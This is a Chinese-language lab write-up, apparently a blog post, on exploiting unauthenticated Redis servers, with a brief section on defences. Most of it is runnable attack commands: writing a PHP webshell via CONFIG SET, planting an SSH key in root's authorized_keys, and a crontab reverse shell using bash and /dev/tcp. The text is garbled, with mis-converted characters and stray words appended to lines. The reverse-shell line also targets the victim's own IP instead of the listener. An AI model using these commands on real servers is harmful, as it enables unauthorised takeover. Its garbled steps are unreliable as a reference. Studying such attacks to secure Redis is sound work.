0x00 前言
前段時間看到想復現學習一下,而後就忘了 越臨近考試越不想複習 php
常見的未受權訪問漏洞
Redis 未受權訪問漏洞 MongoDB 未受權訪問漏洞 Jenkins 未受權訪問漏洞 Memcached 未受權訪問漏洞 JBOSS未受權訪問漏洞 VNC 未受權訪問漏洞 Docker 未受權訪問漏洞 ZooKeeper 未受權訪問漏洞 Rsync 未受權訪問漏洞 Atlassian Crowd 未受權訪問漏洞 CouchDB 未受權訪問漏洞 Elasticsearch 未受權訪問漏洞 Hadoop未受權訪問漏洞 Jupyter Notebook 未受權訪問漏洞html
今天先學下redis未受權訪問web
0x01 redis未受權訪問漏洞簡介
Redis 默認狀況下,會綁定在 0.0.0.0:6379,若是沒有進行採用相關的策略,好比添加防火牆規則避免其餘非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,若是在沒有設置密碼認證(通常爲空)的狀況下,會致使任意用戶在能夠訪問目標服務器的狀況下未受權訪問 Redis 以及讀取 Redis 的數據。redis
攻擊者在未受權訪問 Redis 的狀況下,利用 Redis 自身的提供的config
命令,能夠進行寫文件操做,攻擊者能夠成功將本身的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而能夠使用對應私鑰直接使用ssh服務登陸目標服務器、添加計劃任務、寫入Webshell等操做。shell
0x02 環境搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz #解壓安裝包 cd redis-2.8.17 # 進入redis目錄 make #編譯
cd src/ #進入src目錄 cp redis-server /usr/bin/ cp redis-cli /usr/bin/ #將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啓動redis-server和redis-cli就不用每次都進入安裝目錄了) cd .. # 返回上一級目錄 cp redis.conf /etc/ #將redis.conf拷貝到/etc/目錄下 redis-server /etc/redis.conf # 使用/etc/目錄下的redis.conf文件中的配置啓動redis服務瀏覽器
服務啓動成功!安全
0x03 漏洞證實
redis-cli -h 靶機IP
說明沒有設置密碼認證,存在Redis未受權漏洞bash
0x04 漏洞利用
Ubuntu:受害主機 192.168.246.130,A Ubuntu2:攻擊主機 192.168.246.131,B 都開啓redist服務服務器
redis-server /etc/redis.conf
1、利用方法一 ——往web物理路徑寫webshell
一、利用條件 (1)靶機redis未受權,未登陸驗證 (2)靶機開啓web服務,而且知道網站路徑,還須要具備文件讀寫增刪改查權限 2.利用過程ssh
config set dir /var/www/html/ config set dbfilename shell.php set x "<?php phpinfo();?>" save
瀏覽器查看web頁面
利用方法二 ——導入SSH公鑰(用私鑰登陸)
一、在受害者主機A建立目錄
mkdir /root/.ssh/ #建立ssh公鑰存放目錄(靶機是做爲ssh服務器使用的)
二、在攻擊機B中生成ssh公鑰和私鑰,密碼設置爲空(回車兩次)
Ubuntu2:ssh-keygen -t rsa
三、在B中 將生成的公鑰保存到hhh.txt 再將hhh.txt寫入redis
cd .ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt #將生成的公鑰保存到redistest.txt cat redistest.txt | redis-cli -h 192.168.246.130 -x set redistest #將保存ssh的公鑰redistext.txt寫入redis
四、而後登陸服務器查看 redis-cli -h 192.168.246.130
config get dir #獲得redis備份路徑 config set dir /root/.ssh #redis備份路徑爲ssh公鑰存放目錄 config set dbfilename authorized_keys #設置上傳公鑰的備份文件名字爲authorized_keys save
五、在主機B使用root身份進行ssh免密登陸主機A
ssh -i id_rsa root@192.168.246.130
注意必定要root身份,否則就gg了 耶✌~~登錄成功
利用方法三 ——利用計劃任務執行命令反彈shell
一、利用條件 在redis以root
權限運行時能夠寫crontab
來執行命令反彈shell 二、利用過程 先在本身的服務器上監聽一個端口
nc -lvnp 7999
再鏈接redis,寫入反彈shell
redis-cli -h 192.168.246.130 config set dir /var/spool/cron set x "\n* * * * * bash -i >& /dev/tcp/192.168.246.130/7999 0>&1\n" config set dbfilename root save
0x05 防範方法
一、禁止遠程使用一些高危命令 二、爲Redis添加密碼驗證 咱們能夠經過修改redis.conf文件來爲Redis添加密碼驗證
requirepass mypassword
三、禁止外網訪問 Redis 咱們能夠經過修改redis.conf文件來使得Redis服務只在當前主機可用
bind 127.0.0.1
四、修改默認端口 五、保證authorized_keys文件的安全
0x06 參考
http://www.javashuo.com/article/p-tnvuyoav-dx.html https://xz.aliyun.com/t/6103#toc-6